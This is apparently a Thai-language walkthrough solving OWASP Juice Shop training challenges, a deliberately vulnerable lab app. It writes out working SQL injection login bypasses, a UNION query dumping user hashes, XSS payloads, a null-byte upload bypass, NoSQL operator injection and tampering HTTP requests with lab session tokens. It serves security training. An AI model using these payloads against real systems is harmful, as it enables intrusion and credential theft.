Walkthrough – Juiceshop
OWASP Juiceshop เป็น Web Application ที่ถูกออกแบบให้มีช่องโหว่ เพื่อให้ developer และ Pentester ได้ฝึก skill ในการทดสอบเจาะระบบครับ และทราบถึงช่องโหว่ที่อาจเกิดขึ้นได้ครับ
โดย Juiceshop นั้นมีหัวข้อให้เล่นอยู่เยอะมาก มาดูกันว่าแต่ละหัวข้อแก้ได้ยังไงครับ
1. Score-board
view source เพื่อหา link ของ score-board
เข้าไปที่ http://ip/#/score-board จะพบ list ของด่าน
2. Provoke an error that is not very gracefully handled.
อันนี้เป็นเรื่องทำยังไงให้เกิด error ให้เห็น message ที่สำคัญของระบบได้ ให้ไปที่ login แล้วใส่ username เป็น ‘‘‘
3. XSS Tier1: Perform a reflected XSS attack with <script>alert(“XSS1”)</script>.
ใส่ <script>alert(“XSS1”)</script> ในช่อง search
4. Admin Section: Access the administration section of the store.
หา path ของ admin panel ด้วย dirb จนกระทั่งเจอว่ามี path http://ip/#/administration อยู่
5. Login Admin: Log in with the administrator’s user account.
ทำการ login เป็น admin ด้วย sql injection ที่หน้า login ใช้เป็น
1 |
' or '1'='1';-- |
6. Five-Star Feedback: Get rid of all 5-star customer feedback.
เข้าไปที่หน้า admin แล้วไปลบ review ที่เป็น 5 ดาว
7. Confidential Document: Access a confidential document.
ตอนที่เราทำการ Checkout สินค้าหลังจากที่เอา item ใส่ตระกร้าจะพบว่ามีการ generate pdf ซึ่งถ้าดูจาก path จะพบว่าเป็น path http://ip/ftp/order_<orderid>.pdf
เมื่อเราเข้าไปที่ path http://ip/ftp พบว่าเป็น directory listing ซึ่งทำให้เราสามารถไปดูไฟล์ที่เป็น backup ได้
เมื่อเราเข้าถึงไฟล์ acquisitions.md ก็จะผ่านด่านนี้
8. Zero Stars: Give a devastating zero-star feedback to the store.
ตรงที่หน้า Contact us เราสามารถให้ review score ได้ซึ่งโดยปกติเราจะกดให้เป็น 0 ดาวไม่ได้ ให้เราใช้วิธีการ intercept ด้วย Burp Suite แล้วทำการแก้เลข rating จาก เลขใดๆที่เราให้ตอนแรกเป็น 0 ก็จะผ่านด่านนี้ครับ
9. Password Strength: Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.
เมื่อเราเข้าดูข้อมูลของ user จะพบว่าไม่มี password แสดงขึ้นมา
แต่เมื่อเราดู Response จริงๆจะพบว่ามีการ response password มาด้วย
เมื่อเราเอา hash “0192023a7bbd73250516f069df18b500” ไป search พบว่าเป็น hash ที่ทำจาก “admin123”
เอา password ไป login ก็จะผ่านด่านนี้
10. Basket Access: Access someone else’s basket.
ตอนที่เราดู basket ของเราจะมี request เป็น http://ip/rest/basket/1 ให้เราเปลี่ยนเป็น http://ip/rest/basket/2 หรือ <id> ใดๆ ก็จะกลายเป็นผ่านด่านนี้
11. Christmas Special: Order the Christmas special offer of 2014.
เมื่อเราลอง search โดยใช้ test’ จะพบว่ามันไม่มีการแสดงอะไรขึ้นมา
แต่พอไปดู request จริงๆใน Burp พบว่ามันเกิด response 500 error
ซึ่งทำให้เราทราบถึง sql string ที่ใช้ในหน้า search
1 |
SELECT * FROM Products WHERE ((name LIKE '%test'%' OR description LIKE '%test'%') AND deletedAt IS NULL) ORDER BY name |
ทีนี้เราลอง query ทั้งหมดดูโดยใช้เป็น
1 |
1%25'));-- |
1 2 3 4 5 6 7 8 9 10 11 12 |
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Type: application/json; charset=utf-8 Content-Length: 3152 ETag: W/"c50-QsM+V9bw/eAMXdrwGkXf8ZHqnZc" Date: Sun, 07 Jan 2018 14:59:42 GMT Connection: close {"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"image":"apple_juice.jpg","createdAt":"2018-01-07 14:27:57.436 +00:00","updatedAt":"2018-01-07 14:27:57.436 +00:00","deletedAt":null},{"id":2,"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"image":"orange_juice.jpg","createdAt":"2018-01-07 14:27:57.436 +00:00","updatedAt":"2018-01-07 14:27:57.436 +00:00","deletedAt":null},{"id":4,"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"image":"raspberry_juice.jpg","createdAt":"2018-01-07 14:27:57.436 +00:00","updatedAt":"2018-01-07 14:27:57.436 +00:00","deletedAt":null},{"id":6,"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"image":"banana_juice.jpg","createdAt":"2018-01-07 14:27:57.437 +00:00","updatedAt":"2018-01-07 14:27:57.437 +00:00","deletedAt":null},{"id":10,"name":"Christmas Super-Surprise-Box (2014 Edition)","description":"Contains a random selection of 10 bottles (each 500ml) of our tastiest juices and an extra fan shirt (3XL) for an unbeatable price! (Seasonal special offer! Limited availability!)","price":29.99,"image":"undefined.jpg","createdAt":"2018-01-07 14:27:57.437 +00:00","updatedAt":"2018-01-07 14:27:57.437 +00:00","deletedAt":"2014-12-27 00:00:00.000 +00:00"},{"id":11,"name":"OWASP Juice Shop Sticker (2015/2016 design)","description":"Die-cut sticker with the official 2015/2016 logo. By now this is a rare collectors item. <em>Out of stock!</em>","price":999.99,"image":"sticker.png","createdAt":"2018-01-07 14:27:57.437 +00:00","updatedAt":"2018-01-07 14:27:57.437 +00:00","deletedAt":"2017-04-28"},{"id":18,"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"image":"quince.jpg","createdAt":"2018-01-07 14:27:57.440 +00:00","updatedAt":"2018-01-07 14:27:57.440 +00:00","deletedAt":null},{"id":25,"name":"Global OWASP WASPY Award 2017 Nomnation","description":"Your chance to nominate up to three quiet pillars of the OWASP community ends 2017-06-30! <a href=\"https://www.owasp.org/index.php/WASPY_Awards_2017\">Nominate now!</a>","price":0.03,"image":"waspy.png","createdAt":"2018-01-07 14:27:57.441 +00:00","updatedAt":"2018-01-07 14:27:57.441 +00:00","deletedAt":"2017-07-01"},{"id":28,"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\"","price":2.99,"image":"carrot_juice.jpeg","createdAt":"2018-01-07 14:27:57.441 +00:00","updatedAt":"2018-01-07 14:27:57.441 +00:00","deletedAt":null},{"id":30,"name":"OWASP Juice Shop Sweden Tour 2017 Sticker Sheet (Special Edition)","description":"10 sheets of <a href=\"https://www.stickermule.com/artworks/1188370/shared\">Sweden-themed stickers</a> with 15 stickers on each.","price":19.1,"image":"stickersheet_se.png","createdAt":"2018-01-07 14:27:57.441 +00:00","updatedAt":"2018-01-07 14:27:57.441 +00:00","deletedAt":"2017-09-20"}]} |
จาก response จะเห็นว่ามี Christmas Super-Surprise-Box (2014 Edition) ด้วย ดังนั้นเราลองเปลี่ยน query เป็น
1 |
Christmas%25'));-- |
แล้วก็ทำการกดซื้อปกติก็จะผ่านครับ
12. Reset Jim’s Password: Reset Jim’s password via the Forgot Password mechanism with the original answer to his security question.
เมื่อเราดู registered user เราจะพบว่ามี user ‘jim@juice-sh.op’ อยู่ ทีนี้เราจะทำการ forgot password ดู
ข้อนี้ต้องตอบว่าสิ้นหวังเลย ผมงงว่าจะไปรู้คำตอบได้ไง ก็เลยไปหาคำใบ้มา ก็ได้คำใบ้มาว่า
Hints
- The hardest part of this challenge is actually to find out who Jim actually is
- Jim picked one of the worst security questions and chose to answer it truthfully
- As Jim is a celebrity, the answer to his question is quite easy to find in publicly available information on the internet
- Brute forcing the answer should be possible with the right kind of word list
โอเค ก็เลยเอา “Jim” celebrity ไปหาใน net ก็ยังหาข้อมูลไม่ได้เลยขอปล่อยผ่านไปก่อน
13. Weird Crypto: Inform the shop about an algorithm or library it should definitely not use the way it does.
อันนี้ก็งงเหมือนกันว่ามันคืออะไร ก็เลยไปหาคำใบ้มา
Hints
- Use the Contact Us form to submit a feedback mentioning the abused algorithm or library.
- There are four possible answers and you only need to identify one to solve the challenge.
- Cryptographic functions used in the Apply some advanced cryptanalysis to find the real easter egg challenge do not count as they are only a developer’s prank and not a serious security problem.
OK ลองหาดูกลับไปพบว่าใน ftp มีไฟล์ package.json.bak อยู่ ซึ่งเราจะ download ไฟล์ได้เฉพาะนามสกุลเป็น md กับ pdf เท่านั้น ซึ่งทำให้เราต้องหาวิธี bypass โดยใช้เป็น %2500.md เข้าไป ซึ่ง %2500 จะเป็น null byte ที่ตัดด้านหลังออก
ซึ่งเป็นตัว list ว่าใช้ library อะไรบ้าง ก็เลยเอา dependency ทั้งหมดไปโพสต์ใน Contact Us ดู ซึ่งสุดท้ายพบว่าเป็น z85
14. Login Jim: Log in with Jim’s user account.
password ของ Jim ที่เราได้จากหน้า administration คือ “e541ca7ecf72b8d1286474fc613e5e45” ซึ่งก็คือ “ncc-1701”
15. Login Bender: Log in with Bender’s user account.
เมื่อเราเอา password ของ ‘bender@juice-sh.op’ (“0c36e517e3fa95aabf1bbffc6744a4ef”) ปรากฏว่า crack ไม่ได้ ก็เลยกลับไปใช้ sql injection ที่หน้า login อีกที
1 |
bender@juice-sh.op';-- |
16. XSS Tier 2: Perform a persisted XSS attack with <script>alert(“XSS2”)</script> bypassing a client-side security mechanism.
อันนี้เป็นอันที่ผมเจออันแรกๆเลย คือการลอง register user ดู แล้วใส่ email เป็น anonymous@gmail.com แล้ว intercept ด้วย Burp Suite แล้วเพิ่ม <script>alert(1)</script> เข้าไปเลย ทีนี้พอผมรู้แล้วว่ามันทำได้ก็แค่เปลี่ยนจาก alert(1) ไปเป็น alert(\”XSS2\”) แค่นั้นก็ผ่านครับ
17. XSS Tier 3: Perform a persisted XSS attack with <script>alert(“XSS3”)</script> without using the frontend application at all.
อันนี้งงว่าต้องไปทำ XSS ที่ไหน ก็เลยไปดูคำใบ้ดู
1 2 3 4 5 6 7 8 9 10 |
As presented in the Architecture Overview, the OWASP Juice Shop uses a JavaScript client on top of a RESTful API on the server side. Even without giving this fact away in the introduction chapter, you would have quickly figured this out looking at their interaction happening on the network. Most actions on the UI result in XMLHttpRequest (XHR) objects being sent and responded to by the server. XHR requests to the backend API For the XSS Tier 3 challenge it is necessary to work with the server-side API directly. You will need a command line tool like curl or an API testing plugin for your browser to master this challenge. Hints - A matrix of known data entities and their supported HTTP verbs through the API can help you here - Careless developers might have exposed API methods that the client does not even need |
ซึ่งเท่าที่อ่านมันคือเกี่ยวกับการแก้ไขข้อมูลผ่าน API เลยนั่นเอง ซึ่งมันก็มีทางเป็นไปได้ 2 ส่วนนั่นคือ Product ไม่ก็ User ซึ่งเราลองดูที่ Request ของ Product ปกติจะเรียกเป็น
1 2 3 4 5 6 7 8 9 10 |
GET /api/Products/1?d=Sun%20Jan%2007%202018 HTTP/1.1 Host: 192.168.210.104:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.210.104:3000/ Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQxNjYzLCJleHAiOjE1MTUzNTk2NjN9.pJLMsnbJku2y6ZqwGYMk7Lp0GKEHxLlO7iAK887YUXkpdNKTR4zub5cIV4VlOm-7tioST19mIwEnIgBXGYed4gxjY0tTLrG5xUmA5jsEOZNmLaX97-O7mz6QW2iG8hEUYnutt8Tm8phRpKDBWNW1-jjxhd-aYpw_OlJxMwzqfEM Cookie: continueCode=EVbL34g95wYGkRHnurhptKcjIDTvi6fnHLh2tMcVIvFPH7cljdMON1jRazvJ; io=oMV0k0GSBI8VMIzsAAA3; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQxNjYzLCJleHAiOjE1MTUzNTk2NjN9.pJLMsnbJku2y6ZqwGYMk7Lp0GKEHxLlO7iAK887YUXkpdNKTR4zub5cIV4VlOm-7tioST19mIwEnIgBXGYed4gxjY0tTLrG5xUmA5jsEOZNmLaX97-O7mz6QW2iG8hEUYnutt8Tm8phRpKDBWNW1-jjxhd-aYpw_OlJxMwzqfEM Connection: close |
ซึ่งได้ response เป็น
1 2 3 4 5 6 7 8 9 10 11 12 |
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Type: application/json; charset=utf-8 Content-Length: 238 ETag: W/"ee-L5TT9Kt8dURYbwMlS/CWJGKbqp0" Date: Sun, 07 Jan 2018 16:14:57 GMT Connection: close {"status":"success","data":{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"image":"apple_juice.jpg","createdAt":"2018-01-07T14:27:57.436Z","updatedAt":"2018-01-07T14:27:57.436Z","deletedAt":null}} |
ทีนี้ก็เลยลองใช้ OPTIONS Method ดู ซึ่งพบว่ารองรับทั้ง GET,HEAD,PUT,PATCH,POST,DEL
ก็เลยทำ PUT Request ขึ้นมา (อย่าลืมกำหนด Content-Type เป็น application/json)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PUT /api/Products/1 HTTP/1.1 Host: 192.168.210.104:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.210.104:3000/ Content-Type: application/json Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQxNjYzLCJleHAiOjE1MTUzNTk2NjN9.pJLMsnbJku2y6ZqwGYMk7Lp0GKEHxLlO7iAK887YUXkpdNKTR4zub5cIV4VlOm-7tioST19mIwEnIgBXGYed4gxjY0tTLrG5xUmA5jsEOZNmLaX97-O7mz6QW2iG8hEUYnutt8Tm8phRpKDBWNW1-jjxhd-aYpw_OlJxMwzqfEM Cookie: continueCode=EVbL34g95wYGkRHnurhptKcjIDTvi6fnHLh2tMcVIvFPH7cljdMON1jRazvJ; io=oMV0k0GSBI8VMIzsAAA3; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQxNjYzLCJleHAiOjE1MTUzNTk2NjN9.pJLMsnbJku2y6ZqwGYMk7Lp0GKEHxLlO7iAK887YUXkpdNKTR4zub5cIV4VlOm-7tioST19mIwEnIgBXGYed4gxjY0tTLrG5xUmA5jsEOZNmLaX97-O7mz6QW2iG8hEUYnutt8Tm8phRpKDBWNW1-jjxhd-aYpw_OlJxMwzqfEM Connection: close Content-Length: 52 {"description":"<script>alert(\"XSS3\")</script>"} |
พบว่าสามารถเปลี่ยน content ได้
18. User Credentials: Retrieve a list of all user credentials via SQL Injection
ข้อนี้กลับไปที่ข้อการ search Christmas2014 โดยใช้ Sql injection ซึ่งพอลองใช้ sqlmap ไม่ได้ก็เลยมาทำแบบ manual แทน
1 2 3 4 |
)%20order%20by%209;-- # ทำให้ทราบว่ามี 8 column /rest/product/search?q=55555%25%27))%20union%20select%201,2,3,4,5,6,7,8,9;-- /rest/product/search?q=55555%25%27))%20union%20select%201,2,3,4,5,6,7,8%20from%20Users;-- /rest/product/search?q=55555%25%27))%20union%20select%20id,email,password,4,5,6,7,8%20from%20Users;-- |
1 2 3 4 5 6 7 8 9 10 11 12 |
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Type: application/json; charset=utf-8 Content-Length: 1285 ETag: W/"505-xXlEm75+pdnIHnHjr109eosuJ/0" Date: Sun, 07 Jan 2018 16:50:29 GMT Connection: close {"status":"success","data":[{"id":1,"name":"admin@juice-sh.op","description":"0192023a7bbd73250516f069df18b500","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":2,"name":"jim@juice-sh.op","description":"e541ca7ecf72b8d1286474fc613e5e45","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":3,"name":"bender@juice-sh.op","description":"0c36e517e3fa95aabf1bbffc6744a4ef","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":4,"name":"bjoern.kimminich@googlemail.com","description":"448af65cf28e8adeab7ebb1ecff66f15","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":5,"name":"ciso@juice-sh.op","description":"861917d5fa5f1172f931dc700d81a8fb","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":6,"name":"support@juice-sh.op","description":"d57386e76107100a7d6c2782978b2e7b","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":7,"name":"anonymous@gmail.com<script>alert('XSS2')</script>","description":"0f359740bd1cda994f8b55330c86d845","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8},{"id":8,"name":"anonymous@gmail.com<script>alert(\"XSS2\")</script>","description":"0f359740bd1cda994f8b55330c86d845","price":4,"image":5,"createdAt":6,"updatedAt":7,"deletedAt":8}]} |
19. Forged Feedback: Post some feedback in another users name.
อันนี้แค่ Intercept request แล้วเปลี่ยน UserID เป็นอันอื่นครับ
20. Payback Time: Place an order that makes you rich.
อันนี้คือตอนที่เรากดซื้อ item ใดๆให้เราเปลี่ยน Quantity เป็นติดลบก็ผ่านครับ
21. Forgotten Developer Backup: Access a developer’s forgotten backup file.
ข้อนี้ผ่านตั้งแต่ผ่านข้อ 13 ครับ
22. Product Tampering: Change the href of the link within the O-Saft product description into http://kimminich.de.
ข้อนี้เหมือนข้อ 17 ครับ แต่ระบุเป็นตัวที่ 9 เท่านั้นเอง
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PUT /api/Products/9?d=Mon%20Jan%2008%202018 HTTP/1.1 Host: 192.168.210.104:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.210.104:3000/ Content-Type: application/json Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQ0MjU0LCJleHAiOjE1MTUzNjIyNTR9.kmCdQArrvcZXEyVg0th00Nl_njo_klXOnl4qkTJ_B7AaxqmMkYvXi6WLB4uhy34dFWfJCvKrW9hgNrZCWC8x0PBuqt-EJ5QTt3_DFoLeKoYfHLdKjys_xQ5uLZ8E7U64ch76KJQAoa-1sDteamDlr1_kng8cDch0Kil7k3vKqoc Cookie: continueCode=NbzMDqVdzoHWuNhktpc4IgTvsNFBixf7SKH8umhEtWczIPFZH4cj3G7O3agx; io=_yMH0esyQY82siXLAABE; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQ0MjU0LCJleHAiOjE1MTUzNjIyNTR9.kmCdQArrvcZXEyVg0th00Nl_njo_klXOnl4qkTJ_B7AaxqmMkYvXi6WLB4uhy34dFWfJCvKrW9hgNrZCWC8x0PBuqt-EJ5QTt3_DFoLeKoYfHLdKjys_xQ5uLZ8E7U64ch76KJQAoa-1sDteamDlr1_kng8cDch0Kil7k3vKqoc Connection: close Content-Length: 80 {"description": "<a href=\"http://kimminich.de\" target=\"_blank\">More...</a>"} |
23. Vulnerable Library: Inform the shop about a vulnerable library it is using. (Mention the exact library name and version in your comment)
ข้อนี้ยังตอบไม่ได้ขอผ่านก่อนครับ
24. Easter Egg Tier 1: Find the hidden easter egg.
ข้อนี้เหมือนข้อ 13 ครับ
25. Eye Candy: Travel back in time to the golden era of web design
ข้อนี้ยังตอบไม่ได้ขอผ่านก่อนครับ
26. Upload Size: Upload a file larger than 100 kB.
โดยปกติมันจะมีหน้า Complain อยู่ ซึ่งในหน้านั้นสามารถ upload ไฟล์ได้ แต่มีการ limit ให้ไม่เกิน 100 KB และต้องเป็น pdf เท่านั้น วิธีการ bypass คือในหน้า Complain เวลาทำการ upload ไฟล์ไปจะมีการใช้หน้า /file-upload สิ่งที่เราทำคือ upload ตรงๆไปเลย โดยใช้ Burp Suite หรืออื่นๆครับ
27. Upload Type: Upload a file that has no .pdf extension.
ตามข้อ 26
28. Login Bjoern: Log in with Bjoern’s user account without previously changing his password, applying SQL Injection, or hacking his Google account.
จากข้อ 18 เราได้ password ของ Bjoern(bjoern.kimminich@googlemail.com) ออกมาเป็น
1 |
aW5jb2duaXRqb2ViQGdtYWlsLmNvbQ== |
ทีนี้เมื่อมันมี == ก็น่าจะเป็น base64 encoding ก็เลยลองดูปรากฏว่าได้ออกมาเป็น “incognitjoeb@gmail.com”
ทีนี้ก็เลยลองเอา bjoern.kimminich@googlemail.com ไป encoding ดูก็จะได้ password เป็น
1 |
YmpvZXJuLmtpbW1pbmljaEBnb29nbGVtYWlsLmNvbQo= |
29. Reset Bender’s Password: Reset Bender’s password via the Forgot Password mechanism with the original answer to his security question.
อันนี้ก็คล้ายๆก่อนหน้านี้ที่ผมทำไม่ได้ (ข้อ 14) แต่พอเอาชื่อ Bender ไป search แล้วพบว่าเจอ http://futurama.wikia.com/wiki/Bender_Bending_Rodr%C3%ADguez
ทีนี้คำถามสำหรับการ forgot password คือ “Company you first work for as an adult?” ซึ่งจากข้อมูลของ Bender ก็พบว่าเคยทำงานเกี่ยวกับ Suicide Booth โดยเมื่อกดเข้าไปก็พบว่าบริษัทที่เป็นคนทำ Stop’n’Drop ซึ่งปรากฏว่าเอาไปตอบเป็นคำตอบกลับฟลุ้คตอบถูกซะงั้น
30. NoSQL Injection Tier 1: Let the server sleep for some time. (It has done more than enough hard work for you)
ข้อนี้กลับไปเรื่อง sql injection อีกครั้ง โดยในที่นี้เมื่อมีการ query ข้อมูลของ product ใดๆ จะมีการเรียกเป็น
ทดสอบ query /api/Product/1 ด้วย /api/Product/sleep(1000) ไม่เวิร์ค ก็เลยลองที่ /rest/product/1/reviews ให้เป็น /rest/product/sleep(1000)/reviews ก็ปรากฏว่ามีการ delay ขึ้นมาซึ่งแปลว่าผ่านครับ
31. NoSQL Injection Tier 2: Update multiple product reviews at the same time
โดยปกติแต่ละ product เราสามารถ review ได้ โดยเมื่อมีการ review จะมีการสร้าง request ตามนี้
จาก “https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html” เราลองถอยไปที่ /rest/product/reviews แล้วทดสอบหา Method ที่รองรับ GET,HEAD,PUT,PATCH,POST,DELETE ซึ่งมีความเป็นไปได้ที่จะ update review ได้และจาก Hint
1 2 3 |
- This challenge requires a classic Injection attack. - Take a close look on how the equivalent of UPDATE-statements in MongoDB work. - It is also worth looking into how Query Operators work in MongoDB. |
ก็เลยไปดูใน https://docs.mongodb.com/manual/reference/operator/query/ ดังนั้นจึงสร้าง Request เป็น PUT Request ซึ่งทำให้เกิด error เลยเปลี่ยนไปใช้ตัวที่ไม่เคยใช้อย่าง PATCH Method เลยได้เป็น
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PATCH /rest/product/reviews HTTP/1.1 Host: 192.168.210.104:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.210.104:3000/ Content-Type: application/json;charset=utf-8 Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQ5MTU2LCJleHAiOjE1MTUzNjcxNTZ9.VUl8uSFOdeBqZWFWPZ1hYHwTK-x4C67xaeVvYEbYlnf9G1f2VvHG5aGfOxXBZLFNZuvtVv4R3X5TFjgbpWN1lIH77OVRr_Qbn4-TXLjdZGHstnNKFnl_hOtuHCYVROLlMfLRvrbIkhD6pk8CW7RPPBkzsrkC1tGFWC47Hio8AlY Content-Length: 55 Cookie: continueCode=pkHMulhrtbclIkTesmFDiafJSWHNumhLtMczI6CwsVF9ieUlHwu1hXcET3frU9P; io=Ecu9yO_IzIEMV9XcAACa; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWljZS1zaC5vcCIsInBhc3N3b3JkIjoiMDE5MjAyM2E3YmJkNzMyNTA1MTZmMDY5ZGYxOGI1MDAiLCJjcmVhdGVkQXQiOiIyMDE4LTAxLTA3IDE0OjI3OjU3LjQzNSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTAxLTA3IDE1OjA3OjQ3LjUyNyArMDA6MDAifSwiaWF0IjoxNTE1MzQ5MTU2LCJleHAiOjE1MTUzNjcxNTZ9.VUl8uSFOdeBqZWFWPZ1hYHwTK-x4C67xaeVvYEbYlnf9G1f2VvHG5aGfOxXBZLFNZuvtVv4R3X5TFjgbpWN1lIH77OVRr_Qbn4-TXLjdZGHstnNKFnl_hOtuHCYVROLlMfLRvrbIkhD6pk8CW7RPPBkzsrkC1tGFWC47Hio8AlY Connection: close {"id":{ "$ne": 0 }, "message": "test review multiple" } |
จะเห็นว่า id มีการเปรียบเทียบว่ามีค่าไม่เท่ากับ 0 หรือไม่ แล้วให้ทำการ update ไปเลย ก็เลยกลายเป็น user ทุกๆ user ที่มีค่า id ไม่เท่ากับ 0 ครับ
32. Retrieve Blueprint: Deprive the shop of earnings by downloading the blueprint for one of its products.
ข้อนี้ยังไม่ผ่านครับ
33. Typosquatting Tier 1: Inform the shop about a typosquatting trick it has become victim of. (Mention the exact name of the culprit)
อันนี้ผ่านไปโดยไม่รู้ตัว ไม่แน่ใจไปตอบตอนไหนครับ
34. Misplaced Signature File: Access a misplaced SIEM signature file.
ข้อนี้ก็ไม่รู้เหมือนกันว่าผ่านไปตอนไหนครับ
